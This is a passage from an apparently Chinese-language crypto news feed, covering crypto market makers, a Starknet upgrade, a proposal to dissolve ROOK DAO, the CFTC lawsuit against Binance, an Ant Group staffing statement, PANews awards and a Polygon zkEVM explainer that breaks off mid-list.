工作，并在那里积累了大量的量化交易经验。除了在加密市场上进行做市和量化交易外，该公司还开发了一些加密货币交易工具和基础架构，如加密交易平台FTX 和 Solana 区块链上的加密交易协议 Serum。 FTX 暴雷事件后，是 Alameda Research 的破产，在 FTX 的做市团队遭遇到了很大的损失，从 Kaiko 的数据中可以看到 FTX 事件后，BTC 的挂单情况，表明流动性缺失。FTX 与 Alameda 的数字资产包括 FTT 和 SOL，这些Token的崩盘导致了 solana 链上所有Token的流动性紧缩和清算风险。 图 6. Kaiko BTC 交易平台流动性 4.2 Wintermute 与 DeFi 黑客攻击事件 Wintermute Trading 是一家总部位于伦敦的加密货币做市商。该公司成立于 2017 年，由 Evgeny Gaevoy 和 Harro Mantel 共同创立。Wintermute Trading 的主要业务是为加密货币交易平台、机构和个人提供流动性服务，同时也在一些加密货币衍生品市场提供做市服务。现阶段，Wintermute 以及与 50 多个加密货币交易平台达成合作关系。而且在各交易平台的交易量排行中处于领先。团队核心成员包括 图 7. Bitfinex 现货交易量排行 除了在加密货币市场上的业务，Wintermute Trading 还积极参与推动加密货币市场的发展和规范化。该公司是伦敦数字资产交易协会（LSTA）的成员之一，也是数字资产交易商协会（ADAM）的成员。在 2021 年 2 月，Wintermute 宣布完成了 2.5 千万美元的融资，投资者包括 Lightspeed Venture Partners 和 Pantera Capital 等。但由于熊市和黑客攻击的影响，Wintermute 在 2022 年的收入在 3 亿美元左右，远低于 2021 年 10 亿美元。 2022 年 9 月，由于 Wintermute 可能使用 Profanity 工具来创建靓号钱包，导致其 EOA 钱包被盗，损失 1.6 亿美元。 GSR Markets 从根本上说是一家属于香港的算法数字交易公司。它利用自己的软件为几种数字资产类别的订单执行解决方案，从而提供流动性。该公司部署了多种交易模型，与 30 多个流动性池相集成，其交易费用在市场上相对很低。 特点： 一流的领导力和来自世界一流的金融机构的强大技术与金融从业人员团队。 设计了直观的风险管理策略，专为那些难以管理的人设计。 其专有的交易技术可以根据交易需求进行修改。其销售和汇总策略会根据实时流动性和波动性进行调整，从而使投资者能够真正获得最佳价格。 最近，GSR 与各项目方频繁合作。包括 Stargate，Stargate 将向 GSR 提供 800 万枚 STG 的欧式期权，条件为 24 个月后 STG 均价超过 1.15 美元。在提案通过后，STG 在过去 14 天暴涨 36.2%。 参与链上做市行为都可以成为去中心化做市商，这里有三种形式：（1）参与去中心化交易平台DEX 的流动性提供者，又称为挖矿行为，门槛低，任何人都能参与，提供交易对的流动性，获得一定的奖励；（2）参与去中心化衍生品市场，类似 dydx 模式；（3）一些专门服务做市的 DeFi 协议，例如 Elixir，这些协议成为了 CLOB 和 AMM 模式的流动性分配工具。 DEX 里面一般采用自动做市商算法 AMM，任何人都能成为市商。它使用自动化算法来平衡交易池中Token的供需关系。AMM 的工作原理是允许流动性提供者将Token（通常等量）存入流动性池。然后，流动性池中Token的价格遵循一个公式，例如常量产品做市商算法 x*y = k，其中 x 和 y 是池中两个Token的数量，k 是一个常数。这导致池中Token的比例决定了价格，确保无论交易规模如何，池始终可以提供流动性，并且滑点量由交易规模与池大小相比决定。由于流动性池中的价格偏离全球市场价格，套利者将进入并将价格推回全球市场价格。各种协议迭代这个基本的 AMM 模型或引入新模型，比如 Curve、Balancer、Uniswap V3 等提供改进的性能，并扩展到衍生品。 但在 DEX 里面，也存在一定的风险，LP 需要承担智能合约本身的漏洞风险，流动性池被掏空，无偿损失问题等。DEFI 协议中，为了吸引 LP 和专业的市商团队，提供了不同的做市策略和流动性池以供选择，同时给出了更高的收益率。即使如此，我认为链上做市和中心化交易平台做市还是各有优缺点，彼此也无法取代。 另外要提到的就是专门的做市协议，这里以 Elixir 为例。Elixir 的用户主要有两个：（1）项目方；（2）想成为市商的用户。具体实现机制如下： 项目方在 Elixir 中可以无许可创建债券以获取流动性，这类似于 Olympus DAO 的机制。用户可以通过流动性池获得 LP Token，兑换成项目方的原生Token，以此建立Token的流动性。 为用户提供专门的做市策略，使每个人都能够参与到 CEX 和 DEX 中的做市活动中，这些做市协议在降低做市门槛的同时，也开辟了一个小众赛道。但由于做市策略、量化策略、风险管理策略都是在不同市场情况下经常调整和更新，所以 DeFi 的做市协议还需要时间验证，但对一些想要从市商业务中获取收益的用户来说，不失为一个好的方式。 目前，中心化市商无法以公开透明的方式与项目方合作，而且佣金高，但通过链上做市协议可以有效提高用户资金利用率，成为流动性提供者，通过合适的算法和策略，为项目方解决流动性问题，用户受益，项目方也能达到目的。但链上做市协议机制复杂、灵活性较差，可能难以应对市场风险。 加密货币市场的快速发展，促使加密货币做市商的需求不断增加，同时也催生了更多创新的技术和商业模式。加密做市商的未来发展趋势体现在以下几个方面： 加密货币市场具有许多独特的特征，在提供流动性时面临各种挑战。例如，加密市场 24/7/365 开放，提供自我托管能力，零售直接与交易平台互动（交易平台扮演经纪人、交易平台和托管人的角色），在 CEX 提供虚拟余额的即时「结算」，与 T+2 传统金融结算相比，在 DEX 提供链上交易的快速结算，并使用稳定币促进交易，考虑到 BTC 的波动性和仍然笨拙的法定货币到加密货币的转换。此外，加密市场在很大程度上仍然不受监管，导致价格操纵的可能性，并且继续高度分散，流动性在许多链上和链下场所分叉。此外，交易场所技术仍在不断发展，因为交易平台的 API 连接质量参差不齐，并且在市场活跃度高的时候会周期性下降。最后，加密衍生品市场仍在不断发展，与传统金融市场相比，衍生品相对于现货要小得多。这些特征在提供流动性方面带来了各种挑战，包括市场碎片化/互操作性、资本效率低下、监管不确定性以及仍在改进的交换技术/连通性。 总之，随着加密货币市场的不断发展和变化，做市商需要不断调整自身的战略和业务模式，以更好地适应市场的变化和需求。同时，做市商也需要加强与其他市场参与者的合作和交流，以共同推动市场的发展和壮大。 无论是传统行业还是加密市场，做市商需要永远置身于市场之中，才能手握「价差」进行交易，所以不同的市场意味着更多的盈利机会。加密做市商在未来也会呈现一些传统金融做市商的发展特点：（1）做市参与者逐渐多元化，包括综合大型投行、电子交易平台等。（2）做市品种多元化，包括各类现货、衍生品等。尤其是加密衍生品市场在不断发展。（3）业务杠杆高，以现货和衍生品交易为代表的做市业务是典型的资本消耗型业务，投行大多使用杠杆资金扩大业务规模，因此做市业务杠杆倍数往往高于其他业务。这往往会催生其它加密借贷业务，也提升了整个行业的风险水平。（4）市商头部效应越发明显，头部机构人才储备充足、资本实力雄厚、客户资源丰富、定价能力优秀、资产规模较大，可以通过分散资产组合、使用对冲工具等方式降低风险成本，因此头部机构在做市业务方面更具优势。 虽然加密做市商的规模在不断扩大，竞争也越来越激烈，但实际上，加密做市商的技术壁垒相对较高，承担的风险较大。尤其 FTX 暴雷事件，Cumberland、GSR、Wintermute、Jump、folkvang、Nibbio 这些市商在 FTX 有头寸。同时，最近 Silvergate 银行的暴雷风险，对市商来说产生多大的影响还犹未可知。由此可以说明，资金的流动效率对市商特别重要。 作为交易者，我们也需要去识别做市商是否与项目方进行合作，以正确判断Token价格走势，这个可以从Token价格和交易量上发现端倪。 去中心化做市商协议，包括 DEX 等，也在不断地争取一些做市团队参与链上的活动。在我看来，订单簿形式能满足做市团队的多样交易策略，而 AMM 形式存在一定的局限性，且不好把控。如果有较大的收益优势，做市团队会用一部分资金参与链上做市。但我认为还是不会威胁到中心化交易平台的地位。当然，也不能忽略一些创新的 DeFi 协议带来的影响力。值得关注的是，一些市商已经开始探索在 NFT 领域做市。他们也在探索更多的链上产品或者有二级交易市场的衍生品做市。 但是，这里不排除一个隐患。类似于 Alameda，更多大型做市商机构可能会主动下场，自己孵化链上协议，或是 DEX 或是借贷，比如 Wintermute 孵化的 DEX Bebop。他们提供的雄厚资金对协议本身会起到促进作用，但也对整个市场带来风险。 市商作为交易环节中的重要角色，并且其盈利能力在牛熊周期中都能有很大的发挥空间。在做市商赛道上，可以重点看以下投资方向： 中心化的小型市商策略或服务类项目，这类项目为做市商提供工具、数据、定制化策略类服务。 解决互操作性问题：由于公链和 Layer2 的发展，目前呈现出一个多链世界，这导致流动性割裂。一个潜在的解决方案是第二层中间件提供商，它可以与不同的链进行无信任的交互，以在许多流动性来源中找到最有效的交易路线。 CeDeFi：CeFi 和 DeFi 之间的界限可能会合并，包括流动性供应。  ( 8 min )
    Starknet主网将于本周进行Alpha v0.11.0升级
    PANews 3月28日消息，Starknet基金会在推特上表示，以太坊Layer2扩容解决方案Starknet的主网Alpha v0.11.0升级提案已获得投票通过，该升级现在定于本周进行。 此前3月22日消息，Starknet已在测试网上发布Alpha v0.11.0版本，Cairo 1.0已启动。  ( 4 min )
    利益冲突、项目停滞，ROOK DAO要解散？
    编译：Felix, PANews 参考来源：Ignas | DeFi Research、Coindesk ROOK DAO正在讨论解散DAO。用户对项目停滞和缺乏透明度表示担忧。这个提案是将DAO国库资产分配给ROOK持有人，并可能会产生250%的回报。Rook协议通过在应用层管理MEV，帮助保护用户和去中心化应用免受MEV的负面影响。它是由一个DAO拥有和管理的社区。 根据@0xWismerhill的提案，管理团队和ROOK代币持有者之间的利益不一致，体现在协议增长缓慢和把关机制的缺陷。例如，当前的团队正在否决并控制不符合他们目的的社区主导的提案。   该提案打算解散DAO，并将ROOK的治理国库（每个代币约51美元）按比例分配给ROOK治理代币持有者，提案给到了几个原因： 第一，治理机制将代币持有者排除在治理流程之外，以确保管理团队的权力。 第二，领导层未能实现协议的增长，并且有牟利的嫌疑。交易量在6个月内下降了约78%。22个DAO贡献者每年花费610万美元（每个贡献者30万美元），只有10%的薪酬是用ROOK代币支付的，因为ROOK价格正在下降。（注：22个DAO贡献者在确保他们收到足够的ROOK代币来参与每次的治理投票后，他们决定通过增加稳定币的补偿比例来最大化个人回报） 此外，该项目目前的估值低于1700万美元，与DAO的4400万美元的治理代币控制储备相比，折价了61%。虽然自提案提交以来，ROOK代币上涨了27%。但ROOK代币持有者却产生了经济损失，因为他们无法阻止资产从国库转移到管理团队。   第三，管理团队没有公开的路线图或目标。在一次治理电话会议中，首席执行官Hazar) 解释说，是因为受到order flow（即订单流，主力足迹，可以识别市场中供求的不平衡）供应商（即ROOK协议的客户）意愿的影响，这些客户不愿意公布路线图。   第四，项目治理缺乏相应的透明度。在治理电话会议中，Hazard也承认DAO在运营活动中缺乏知晓和发言权。他将其归咎于想使用ROOK在以太坊上捕获交易价值的某些大型项目:“正是这些项目的限制，才导致ROOK DAO能了解并参与治理的事项少之又少。”此外在领导层人员的透明度上，Hazard认为：“很难将个人信息用于公共治理。” 第五， Hazard淡化了代币的重要性。基于ROOK的产出，Hazard警告投机者不要指望ROOK的价格表现。这让人想起了2年前Andre Cronje关于”DeFi建设很糟糕“的讨论。   本文并不想传播FUD（恐惧、不确定和怀疑），但这个提议可能不仅对ROOK代币持有者有重大影响，而且对整个DeFi市场也有重大影响。 而且这不是第一次解散DAO。去年，FEI Protocol DAO也因宏观环境的恶化和监管风险而投票关闭。（相关阅读：Fei Protocol的大败局：含金汤匙出生到因合并走向落幕）  ( 4 min )
    7 个细节快速了解：CFTC 为何起诉 Binance？
    原文来源 | The Block 原文编译 | 白泽研究院 商品期货交易委员会（CFTC）周一向美国联邦法院对加密货币交易平台 Binance、其创始人兼首席执行官赵长鹏“CZ”和首席合规官 Samuel Lim 提起诉讼，因Binance 违反了美国有关商品的几项法律和法规，包括未能打击其平台上的洗钱活动。虽然该诉讼主要集中在未在美国注册商品交易的指控上，但可能对 Binance 和加密资产行业产生更广泛的影响。 作为其诉讼的一部分，CFTC 希望获得禁令，以有效地禁止 Binance 及其附属公司以及 CZ 和 Lim 进入美国大宗商品行业，并上缴利润。 作为对 CFTC的回应， CZ 不同意指控，随后在 Binance 的网站上发表声明予以驳斥。 币安发言人在另一份声明中表示：“CFTC 提出的投诉出乎意料且令人失望，因为我们已经与 CFTC 合作了两年多。我们在过去两年中进行了大量投资，以确保我们的平台上没有活跃的美国用户，包括将合规工作人员从大约 100 名增加到今天的 750 名。” 美国证券交易委员会（SEC）正在调查一种名为 Binance USD（BUSD）的稳定币，该产品由 Binance 与加密货币服务提供商Paxos 合作开发。目前尚不清楚 SEC 是否会提出自己的指控。 美国司法部也可能会对 Binance 提出刑事指控。一位了解 CFTC 调查的人士指出，Binance 也是美国司法部审查的对象。 以下是 CFTC 对 Binance 提起的诉讼的七项主要内容。 CFTC 的文件中包含了一些对 Binance 最具破坏性的指控：Binance 可能故意为有组织犯罪和恐怖组织的交易提供便利。CFTC 引用了 Binance 的内部聊天记录，其中包括当时的首席合规官 Lim 和一名洗钱报告官的对话。 “Binance 的管理人员和员工承认，该平台为潜在的非法活动提供了便利，”报告称。 “例如，2019 年 2 月，在收到关于 Binance 上‘关于 HAMAS 交易’的信息后，Lim 向一位同事解释说，恐怖分子通常发送‘小额资金’，因为‘大额资金构成了洗钱’。” 洗钱报告官回答道：“600 美元勉强能买一把 AK47。” 在另一个例子中，一名币安员工写信给 Lim 和另一位同事，询问一位客户最近的 500 万美元交易与非法活动密切相关，该账户是否应该被关闭或者应该建议他创建一个新账户？ Lim 通过内部聊天建议：“可以让他知道要小心他的资金流动，特别是注意 hydra 这样的暗网。......他可以弃用当前的账户，并创建一个新账户。” “我对我们的地理围栏没有信心。” Binance 在 2019 年更新了其使用条款，包括 Binance 不能“向任何美国人提供服务”。同年，Binance 表示开始根据客户的 IP 地址来阻止客户。 “实际上，Binance 只是在其网站上添加了一个弹出窗口，当客户试图从与美国相关的 IP 地址登录时会出现该窗口，”CFTC 表示。 然而，弹出窗口并没有阻止客户登录他们的账户、进行存款或交易，而是要求他们“自我证明”他们不在美国。 CFTC 表示，Binance 的 IP 地址合规性控制（也称为“地理围栏”）也无法有效防止客户来自“受限的司法管辖区”，包括美国，这可能是因为 Binance 告诉美国客户可以通过使用 VPN 隐藏其位置来逃避控制。 Binance 于 2019 年发布了一份《VPN 初学者指南》，向客户解释了如何使用 VPN。 有一次，当 Paxos 要求 Binance 进行合规审计时，Binance 的一名洗钱报告官给 Lim 发了一条消息说，“我对我们的地理围栏没有信心。” ​ CFTC 在报告还表示，至少有 3 家总部位于美国的贸易公司正在使用 Binance，这意味着违规行为已经超出了正常的消费者账户。 CFTC 称，Binance 为大客户提供着一个“VIP”计划，包括更快的交易，以及在执法部门询问或针对他们的资金时及时通知和建议。 “Binance 知道其 VIP 的身份和地理位置，因为 Binance 在开展业务时理所当然地监控其交易量和收入的来源，”报告称。 该计划的一个“重要好处”是“及时通知有关他们账户的任何执法调查”。 CFTC 称该计划是 Lim 在 CZ 的指示下创建的。 一旦资金被冻结或解冻，Binance 的 VIP 团队将“通过短信、电话等方式联系用户，通知他/她的账户已被冻结或解冻”。“不会直接告诉用户跑路，而是直接告诉他们账号已经解冻，被 XXX 调查了。如果用户是一个大交易者，或者是一个聪明的交易者，他/她就会得到提示。” Binance 员工还使用 Signal 进行通信，该机构表示 CZ 和其他员工使用“自动删除功能”进行业务通信，“即使在 Binance 收到 CFTC 的文件请求之后，并且 Binance 据称向其员工分发了文件保存通知之后” ，自动延迟功能可能允许员工“在就有罪问题进行交流后销毁证据”。 总部位于加利福尼亚州的 BAM Trading 运营着 Binance.US。CFTC 称，BAM Trading 也由 CZ 拥有和控制，并从未在 CFTC 注册。 “当他聘请 BAM Trading 的第一任首席执行官时，CZ 将 Binance 描述为一艘海盗船，他希望 Binance.US 会成为一艘海军船，”CFTC 表示。 CFTC 补充说，Binance.US 和 Binance 的营销和品牌相似。 Binance 还依赖于“企业实体的外衣”，其方式似乎与 FTX 复杂的国际结构相似，在 FTX 倒闭后，人们惊讶 FTX 有着非常多的相关企业实体。CFTC 认为，Binance 的众多企业实体是故意隐藏平台的位置并混淆外界。 “Binance 在混淆其位置和运营公司的身份方面非常有效，甚至混淆了 Lim，”CFTC 表示。 CFTC 试图找到 Lim 的地址向他发出传票时，地点是混乱的。 Binance 保留了大约 300 个在平台上交易并“由 CZ 直接或间接拥有”的“内部账户”，此外还有由他控制的另外两个实体 Merit Peak 和 Sigma Chain 以及另外两个由 CZ管理的账户。 CFTC 表示：“Binance 并未在其使用条款或其他地方向其客户披露 Binance 在其自己的市场进行交易。......与其显然试图将其在自己市场上的自营交易活动保密的做法一致，Binance 拒绝回应 CFTC 发出的调查传票，以寻求有关其自营交易活动的信息，包括交易数据和员工之间的通信。” 在周一晚些时候发表的一份声明中，CZ 说：“Binance 在任何情况下都不会以盈利为目的或‘操纵’市场。Binance 在许多情况下‘交易’，因为我们的收入来自加密货币。我们确实需要不时转换它们以支付其他的费用。我们有附属机构为流动性较低的货币对提供流动性。这些附属机构受到特别监控，不会有大额利润。” 关于他的个人活动，他补充说：“就我个人而言，我在 Binance 有两个账户：一个用于币安卡，一个用于我个人的加密资产。我将我自己的加密货币也存储在 Binance 上。我还需要不时转换加密货币以支付我的个人开支。” CZ 被列为被告，并在整个诉讼报告中被反复提及。 CFTC 表示，CZ 直接或间接拥有 Binance 的所有企业实体，并且“只对他自己负责”，因为 Binance 没有董事会。 CFTC 表示，在 120 个实体中，包括 Binance Holding、Binance IE 和 Binance Services 在内的一些实体已经混合了资金和共享基础设施。除了控制 Binance 网络外，CZ 还“直接批准产品”。 随着 Binance 的发展，CZ 聘请了一个高级管理团队，但他继续参与并控制“企业的所有关键决策”，包括提供哪些产品以及如何实施和执行 AML 和 KYC。 “CZ 也负责评估与 Binance 业务活动相关的法律和监管风险，包括与 Binance.US 相关的风险，并直接参与与合规顾问和律师就 Binance 业务涉及的法律和监管问题进行讨论活动，”CFTC 称。 CZ、Lim 和 Binance 管理层的其他成员会定期收到更新，其中包括有关 Binance.US 客户的信息，“以及 Binance 为占领美国市场所做的努力的有效性”。 CFTC 将在 Binance 上交易的几种加密资产命名为商品，包括 LTC、ETH、USDT 和 BUSD。 一个多月前，在 Paxos 收到关于其与 Binance 联合发行的 BUSD 进行调查的通知后，BUSD 受到了审查。 在 CFTC 的指控中也提到了 Paxos。CFTC 表示，Binance 试图向包括 Paxos 在内的业务合作伙伴隐瞒 BUSD 合规计划的低效程度。 2020 年，为了满足 Paxos 的要求，Binance 对 BUSD 进行了合规审计。 “但根据 Lim 的说法，Binance 故意聘请了一名合规审计员，该审计员‘只对地理进行评估的个人审计’，以‘为我们争取更多时间’，”CFTC 在诉讼报告中写道。 关于是证券还是商品，LTC 一直不太受关注，但 CFTC 似乎得出结论认为它是商品。 尤其是 ETH，其他监管机构对此持不同意见。SEC 主席 Gary Gensler 和纽约总检察长 Letitia James 都暗示 ETH 是一种证券。James 在本月早些时候针对加密货币交易平台 KuCoin 的诉讼中表示，ETH 是一种证券。然而，CFTC 主席 Rostin Behnam 却认为它是一种商品。 风险提示： 根据央行等部门发布的《关于进一步防范和处置虚拟货币交易炒作风险的通知》，本文内容仅用于信息分享，不对任何经营与投资行为进行推广与背书，请读者严格遵守所在地区法律法规，不参与任何非法金融行为。  ( 6 min )
    蚂蚁集团：于隽曾是外派至A&T Capital的工作人员，目前已办结离职手续
    PANews 3月28日消息，据澎湃新闻报道，针对A&T Capital原负责人于某（即于隽）因涉嫌性侵于3月9日被杭州公安立案调查，有网友称于某为蚂蚁集团高管，蚂蚁方面作出回应。蚂蚁有关人士表示，于某曾是蚂蚁外派至海外基金（即A&T Capital）的工作人员，今年3月6日向公司提出离职，目前已办结离职手续。于某在办理离职交接手续期间，当事女生家属于3月17日到公司提出与于某沟通的诉求。公司要求于某全力配合警方调查。目前警方也已经介入处理，一切信息以警方披露为准。公司对于违法违规及不道德行为一贯绝不姑息。 此前昨日消息，A&T Capital表示，于隽正接受有关单位调查，公司内部已成立独立调查组。  ( 4 min )
    12项权威年度奖项，77家入榜，PANews PARTY AWARD 2023年度榜单正式揭晓
    伴随着各国央行从开闸放水到加息潮，全球站上动荡与稳定、衰退与复苏的历史演变十字路口。市场流动性的大幅收紧让黑天鹅事件密集出现，并触发市场信心危机，加密领域亦不能幸免。但面对市场格局的大规模洗牌，仍有很多Builders（建设者）在多重危机的叠加嵌套中致力Web3产业的创新和建设。 正值草长莺飞的好时节，PANews以“Keep Building”为主题举办了第三届“PARTY AWARD 2023”，旨在发现并激励Web3领域中持续建设的真正Builder。PARTY意为PANews' Restropect of The Year（PANews年度致敬），活动已连续举办三届，吸引了全球Web3创业者和优质项目的踊跃参与。在经过长达近2个月的数据初选、公开征集、线上投票及专业评审团评议后，最终有67个项目/企业和10位个人脱颖而出（注：上榜者按A-Z排序），获得“PARTY AWARD 2023”12项权威年度奖项。 从最初的基础设施和到各创新用例不断涌现，Web3告别了跑马圈地的开荒时代，迈向了“早期采用者”的跨越时期，而这背后离不开用户与流量的建设者们。PANews根据链上地址和交易总数、智能合约部署数、活跃开发者数、技术升级迭代等方面最终评选出2个年度杰出贡献奖：Ethereum和Optimism。 Web3.0实现了对Web2.0应用的重构，不仅真正意义上实现了互联网倡导的开放、平等和创新，还催生全新的商业模式并创造出大量的自下而上的创新应用。“PARTY AWARD 2023”年度应用榜单包括年度最具创新应用、年度最佳创新DeFi应用、年度最佳DeFi应用、年度最佳NFT项目和年度最佳区块链游戏，根据资金和活跃用户规模、治理代币市值和持有数、流动性、地板价表现等方面，并结合人气投票，最终评选出30个年度应用。 年度最具创新应用分别为Blur、DeBox、OpenEx、SoIcial和Trantor。 年度最佳创新DeFi应用分别为IPOR Protocol、Morpho、Synapse、Teahouse Finance和Velodrome。 年度最佳DeFi应用分别为Aave、GMX、Lido、Stargate和Uniswap。 年度最佳NFT项目分别为Azuki、Bored Ape Yacht Club、Cheers UP、Goblintown、Highstreet、Qzuki、STEPN、Theirsverse、The Sandbox和TwitterScan。 年度最佳区块链游戏则为Alien Worlds、Crazy Defense Heroes、Kingdomverse、MOBOX:NFT Farmer和StarryNift。 “PARTY AWARD 2023”年度交易所榜单包括年度最佳中心化交易所和最佳NFT交易所。PANews根据交易所的比特币余额和年度余额、钱包充提地址总数、官方网站访问流量、安全事件频次和损失金额，再结合人气投票，最终评选出10家年度交易所。 年度最佳中心化交易所分别为Binance、Bitfinex、Bitget、BitMart、Bybit、Coinbase、Gate.io、Huobi、KuCoin和OKX。 年度最佳NFT交易所分别为Binance NFT、Blur、Element、OpenSea和Rarible。 随着新型技术的应用，治理参与手段逐渐多样化，DAO作为一种公开透明化的治理手段已蓬勃发展，数以千计的DAO管理和分配着各个项目的大量资产。PANews根据以财库价值和社区参与度为基础，并结合人气投票，最终评选出了5个年度最佳DAO：Aavegotchi DAO、ApeCoin DAO、BuidlerDAO、ConstitutionDAO和SeeDAO。 从曲折蜿蜒的“泥泞小路”到宽阔平坦的“柏油公路”，Web3基础设施正变得更加鲁棒，并在不断的迭代升级中为生态创新和繁荣奠定了坚实的基础。PANews根据底层性能、生态应用数量、建立程度等方面，并结合人气投票，最终评选出了5个年度最佳区块链基础设施：Aptos、BNB Chain、Chainbase、Cosmos和Polygon。 投资机构既是创业者的伯乐，更是推动技术创新和产业发展的重要动力。PANews根据投资机构全年投资项目数量、被投企业市值和市场影响力等方面，并结合人气投票，最终评选出10家年度最佳Web3投资机构：Animoca Brands、a16z crypto、Binance Labs、Coinbase Ventures、Dragonfly Captial、Electric Capital、Newman Capital、NGC Ventures、Paradigm和Sequoia Captial。 作为信息的表达者和传播者，意见领袖（KOL）在行业信息流动和普及中发挥着重要作用。PANews根据行业活跃度和影响力，并结合人气投票，与专业评委共同评选出了10位年度最佳Web3影响力个人：Bitcoin Archive、Bitwu.eth、Brett Malinowski、BTCdayu、Dahuzi.eth、丰密 Kui、何币、鉴叔、Phyrex和0xAA。 恭喜以上所有入围的Web3项目和企业们。尽管我们经历了加密历史长河里的短暂低谷，但技术的萌芽和创新总能带来持久的发展信心和动力，带领我们不断穿越周期。在Web3仍处在大规模应用爆发的前夕，PANews希望借助“PARTY AWARD 2023”榜单来激励更多建设者们披荆斩棘，勇敢前行。  ( 5 min )
    Polygon zkEVM解读：“六边形战士”如何参与扩容终局游戏？
    撰文：Louround 编译：深潮 TechFlow 2022 年 7 月，PolygonLabs、zkSync 和 Scroll 开始了争夺最佳 zkEVM 的竞赛，Polygon zkEVM 主网将于 3 月 27 日启动，作者与 ChaosDAO 一起编写了关于 Polygon 的最全面的指南，这将成为下一个牛市最大的叙事。 以太坊的可扩展性问题导致了替代 L1 链的兴起，这些链为了可扩展性而牺牲了去中心化和安全性。 这是因为区块链三难问题（即去中心化、安全性和可扩展性）概念的普及所带来的权衡。 该概念认为，一个区块链无法同时最大化可扩展性、安全性和去中心化。 为了解决这个三难问题，以太坊生态系统内外的开发者们建立了各种可扩展性解决方案，从 L2 解决方案（如侧链或状态通道）到新的 L1 架构（如同质或异质执行分片）。 然而，所有这些解决方案都有其缺点。 Rollup 扩展技术旨在克服的缺点是，在独立的链外执行层上实现极高的可扩展性，同时继承来自第 1 层的安全性保障作为结算和数据可用性层。 Rollups 在链外处理交易，将交易打包成大量的批次（rolled up）。 在 L2 上处理完交易后，仅会将批次产生的状态更改或在 zk-rollup 中，批次的有效性证明发布到以太坊 L1 上（并进行验证）。 Rollup 有两种类型： zk-rollup 采用「不信任，靠验证」的方法，依靠数学上可验证的证明，而不是欺诈证明机制。 此外，将交易挂起批处理，然后在链外提交聚合、压缩后的数据到 L1 的一般机制也类似。 预见到这一技术的潜力，Polygon 投入了 10 亿美元开发这种复杂技术，并首先以 4 亿美元收购 Mir 协议（现在是 Polygon Zero），以 2.5 亿美元收购 Hermez 协议（现在是 Polygon Hermez）。 由于拥有这样的内部能力，他们决定打造 Polygon zkEVM。 对于许多 zk-rollup 来说，终极目标是成为以太坊虚拟机（EVM）的等价物。达到 EVM 等价意味着实现了完整的字节码级兼容性。 这与仅仅具有兼容性不同，后者常常需要开发人员修改甚至重新实现某些更低层次的代码。 当一个开发环境具有 EVM 等价性时，这对开发者来说是一个巨大的优势，因为这意味着基本上任何来自以太坊的智能合约或开发工具都可以在等价的 EVM 网络上使用。 它还简化了基于 ETH 的去中心化应用程序（dApps）的迁移，并使其更容易与 L1 上的其他 EVM dApps 或其他 zkEVMs 进行互操作。 此外，EVM 等价（Solidity 和对以太坊开发工具的支持）使 rollups 能够利用 Web3 中最大的开发和流动性池。 Vitalik Buterin 指出，共有 4 种不同类型的 zkEVM rollup，从类型 1 受益于完全的 ETH 等价性但降低了性能，到类型 4 则相反。 zkEVM 正在建立在类型 2 等价性上，并力争成为类型 1。 除了采用 Bytecode-level 的 EVM 兼容性方法外，Polygon zkEVM 在其竞争对手中脱颖而出，因为它实现了一种称为 Proof Of Efficiency（POE）的新型共识机制，这种机制可以提高去中心化程度并增加网络安全性。 此外，Polygon 的 zkEVM 使用了最先进的 zk 证明系统之一。 Plonky2 是一种递归的 zk 证明系统，将 STARK 和 SNARK 证明的优点结合起来，很可能是以太坊上最便宜、最高效的证明系统。 在达到重要的里程碑后，Polygon 团队和开发者决定在 3 月 27 日进行全面推出（最初），这比他们的所有竞争对手都要早。 （唯一缺失的指标是每秒交易数（TPS），即使我们可以假定最低 2k TPS） 该链吸引了超过 10 亿美元的锁定价值（TVL），以及 83 亿美元的总价值跨链转移至该链（其中 60% 为 $MATIC）。 这个区别很重要，因为 DefiLlama 的 TVL 只涉及锁定在协议中的价值，而不是存放在钱包中的资产（这一点很重要要考虑到）。 财务指标 在过去的一年中，Polygon 是收入最高的链，收入超过 2600 万美元，而 Arbitrum 和 Optimism 分别为 1900 万美元和 1800 万美元。 然而，需要考虑到净收益（成本 - 收入），平均每年约为负 3 亿美元，主要是由于代币激励措施，根据 Token Terminal 的数据。 这仍然不到 Polygon 拥有的 24 亿美元资金库的 15%。 代币经济学 Polygon 的代币是 $MATIC，供应量为 100 亿枚，当前价格为 1.12 美元（比历史最高价下跌 60%）。该代币用于治理、在 POS 链上支付交易费用（zkEVM 上的交易费用将以 $ETH 结算），以及验证和保障该链的质押。 供应量已在不同的利益相关者之间分配，现在几乎完全在流通（90%），但抵押奖励还没有被解锁。 有趣的是，Binance launchpad 的投资者目前已经获得了 458 倍的投资回报，而历史最高价时曾达到了 1100 倍。 生态系统 尽管没有最高的 TVL，Polygon 拥有一个拥有 7000 多个活跃 dApp 的最大生态系统之一。 与其竞争对手相比，该团队专注于开发其环境，例如 NFT 和游戏 Fi，而不是仅仅专注于 DeFi。 因此，Polygon 是过去几年中吸引了最多 Web2 公司进入其生态系统的链（主要是 GameFi 和 NFT），这对于该行业来说是一个至关重要的步骤，使得 Polygon 成为 Web2 公司的首选去处。 沟通 加密行业仍然不成熟和不理性，这就是为什么拥有最好的技术并不是区块链（例如前 15 名市值）最重要的成功因素之一。 炒作、营销和品牌知名度与链所拥有的技术同样重要。 关于品牌知名度，Polygon 在其 Twitter 账户上拥有 180 万关注者，成为最受关注的链，然而，zkEVM 仅有 3.2 的关注者，明显低于拥有 64 万关注者的 zkSync、58.8 万关注者的 Arbitrum 或 26.1 万关注者的 Scroll。 虽然关注者并不真正代表什么，ETH Daily 对前 9 个 L2 进行了一项调查，但在当时 zkEVM 并未出现在其中。 该研究还显示，新用户正在寻找通过空投获得金融机会，而 zkEVM 不应该发布空投。 这对该链来说是一个问题，因为空投通过带来 TVL、交易量、费用等参与链的增长，作为结果吸引了建设者、项目和更多的用户，形成了一种无限循环。 资金 2022 年，Polygon 以 4.5 亿美元的规模进行了区块链历史上最大的融资，将其当前资金库增加到 24 亿美元。 这样的资金使 Polygon 有能力尽可能多地开发、雇用和吸引人才，同时不必担心熊市的影响。 团队 为了运营这样一个项目，Polygon 可以依靠 400 名员工，这些员工在 2017 年由 4 位联合创始人创建后加入了这个项目。 在 zkEVM 团队方面，我们有： 该团队已经做好了充分准备，以提供功能齐全、高效的扩展解决方案。 风险 由于其复杂性和在区块链行业内的最近实施，存在 zk 风险。 零知识证明带来的隐私问题可能带来监管风险。授予隐私的项目曾受到监管机构（Monero、Tornado cash 等）的针对。 竞争越来越激烈，正在开发尖端技术（zkSync、Scroll、Starknet、Taiko 等）。 在缺乏空投潜力和充满活力的 DeFi 生态系统的情况下吸引用户 